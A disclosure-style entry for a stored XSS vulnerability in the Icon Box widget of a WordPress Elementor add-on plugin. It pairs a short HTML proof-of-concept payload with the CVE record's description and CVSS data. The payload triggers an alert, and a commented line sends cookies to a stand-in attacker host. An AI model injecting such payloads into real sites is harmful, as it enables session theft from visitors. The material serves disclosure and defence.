CVE-2026-2949

<!-- PoC for CVE-2026-2949: Stored XSS in Icon Box Widget Author: Security Analyst --> <!-- Payload to inject into the Icon Box widget title/content --> <div class="xpro-icon-box-widget"> <h3><img src=x onerror=alert('XSS_CVE-2026-2949')></h3> <p>Malicious content stored via Contributor role.</p> </div> <script> // This block executes when a user views the compromised page console.log("Stored XSS Triggered"); // Example: Stealing cookies // fetch('http://attacker.com/?c=' + document.cookie); </script>

{"cve": {"id": "CVE-2026-2949", "sourceIdentifier": "[email protected]", "published": "2026-04-04T04:17:14.723", "lastModified": "2026-04-24T18:13:28.877", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Xpro Addons — 140+ Widgets for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Icon Box widget in versions up to, and including, 1.4.24 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3470049/xpro-elementor-addons", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a1192c12-a898-46d9-9eee-6f611e644676?source=cve", "source": "[email protected]"}]}}